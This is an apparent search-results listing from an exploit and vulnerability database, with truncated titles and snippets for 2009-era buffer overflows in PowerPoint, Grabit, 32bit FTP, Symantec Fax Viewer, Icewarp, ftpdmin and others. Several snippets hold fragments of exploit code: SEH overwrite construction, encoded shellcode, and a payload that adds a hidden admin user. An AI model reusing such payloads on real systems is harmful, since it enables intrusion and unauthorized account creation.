2862 matches found
Microsoft PowerPoint Legacy File Format Master Page buffer overflow
Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...
Microsoft PowerPoint Legacy File Format Master Page buffer overflow
Added: 05/14/2009 CVE: CVE-2009-1137 BID: 34876 OSVDB: 54381 Background Microsoft PowerPoint is presentation software included in the Microsoft Office desktop suite. Problem A buffer overflow vulnerability in the Legacy File Format conversion filter PP4X322.dll allows command execution when a use...
Grabit <= 1.7.2 Beta 3 (.nzb) Local Buffer Overflow Exploit (SEH)
Exploit for unknown platform in category local exploits ================================================================= Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcod...
32bit FTP (09.04.24) - CWD Response Universal Overwrite (SEH)
32bit FTP 09.04.24 - CWD Response Universal Overwrite SEH !/usr/bin/python | || | / \ | | | | | | | | | - | | | / / | | |||| || // / |\ || Bug : 32bit FTP 09.04.24 CWD Response Universal Seh Overwrite Exploit Refer : http://www.milw0rm.com/exploits/8611 Tested on : Xp sp3 ENVB Exploited by :...
Grabit 1.7.2 Beta 3 - '.nzb' Local Buffer Overflow (SEH)
!/usr/bin/perl Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcode"; close nzb; sleep 1; print "\nFile $file successfully created!\n"; milw0rm.com 2009-05-05...
Grabit 1.7.2 Beta 3 SEH Overwrite
!/usr/bin/perl Grabit ./$file" || die "\nCan't open $file: $!"; print nzb "$header1" . "\x41" x 248 . "$nextseh" . "$seh" . "$shellcode"; close nzb; sleep 1; print "\nFile $file successfully created!\n";...
32bit FTP (09.04.24) (CWD Response) Universal Seh Overwrite Exploit
Exploit for windows platform in category remote exploits =================================================================== 32bit FTP 09.04.24 CWD Response Universal Seh Overwrite Exploit =================================================================== !/usr/bin/python | || | / \ | | | | | | ...
Adobe Acrobat Reader 8.1.2 – 9.0 getIcon() Memory Corruption Exploit
Exploit for unknown platform in category local exploits ==================================================================== Adobe Acrobat Reader 8.1.2 – 9.0 getIcon Memory Corruption Exploit ==================================================================== Affected Version : Acrobat Reader...
Design/Logic Flaw
GDI+ in Microsoft Windows XP SP3 allows remote attackers to cause a denial of service infinite loop via a PNG file that contains a certain large btChunkLen value...
CVE-2009-1511
GDI+ in Microsoft Windows XP SP3 allows remote attackers to cause a denial of service infinite loop via a PNG file that contains a certain large btChunkLen value...
CVE-2009-1511
GDI+ in Microsoft Windows XP SP3 allows remote attackers to cause a denial of service infinite loop via a PNG file that contains a certain large btChunkLen value...
Symantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit
!-- Symantec Fax Viewer Control v10 DCCFAXVW.DLL remote buffer overflow exploit IE7 by Nine:Situations:Group::trotzkista site: http://retrogod.altervista.org/ tested against: Symantec WinFax Pro 10.03 Internet Explorer 7, XP SP3 some details: CLSID: C05A1FBC-1413-11D1-B05F-00805F4945F6 Progid:...
Symantec Fax Viewer Control 10 (DCCFAXVW.DLL) Remote BOF Exploit
No description provided by source. !-- Symantec Fax Viewer Control v10 DCCFAXVW.DLL remote buffer overflow exploit IE7 by Nine:Situations:Group::trotzkista site: http://retrogod.altervista.org/ tested against: Symantec WinFax Pro 10.03 Internet Explorer 7, XP SP3 some details: CLSID:...
Symantec Fax Viewer Control 10 (DCCFAXVW.DLL) Remote BOF Exploit
Exploit for windows platform in category remote exploits ================================================================ Symantec Fax Viewer Control 10 DCCFAXVW.DLL Remote BOF Exploit ================================================================ // win32exec - EXITFUNC=seh...
Symantec Fax Viewer Control 10 - 'DCCFAXVW.dll' Remote Buffer Overflow
// win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var scode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +...
Symantec Fax Viewer Control 10 - DCCFAXVW.dll Remote Buffer Overflow
Symantec Fax Viewer Control 10 - DCCFAXVW.dll Remote Buffer Overflow // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var scode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436...
Zoom Player Pro 3.30 Buffer Overflow
?php / Zoom Player Pro v.3.30 .m3u file buffer overflow exploit seh by Nine:Situations:Group::surfista seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version / / //original shellcode, 27 bytes + command //re-encode...
Icewarp Merak Mail Server 9.4.1 - 'Base64FileEncode()' Buffer Overflow (PoC)
"cgi-fcgi" die"Launch from the merak php console!"; if !functionexists"icewarpapiobjectcall" die"You need the icewarp extension loaded!"; $shellcode= //original scode, alpha2 esp sh.txt "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3...
Microsoft Media Player (quartz.dll .mid) Denial of Service Exploit
Exploit for unknown platform in category dos / poc ================================================================== Microsoft Media Player quartz.dll .mid Denial of Service Exploit ================================================================== ! /usr/bin/perl CALquartzmidpoc.pl...
ftpdmin 0.96 Buffer Overflow
".$cmd."\n"; $buff=ftpraw$connid,$cmd; WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds a "surfista" admin user with pass "pass" contains hardcoded address, re-encode command: alpha2 esp shdmp.txt $scode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"...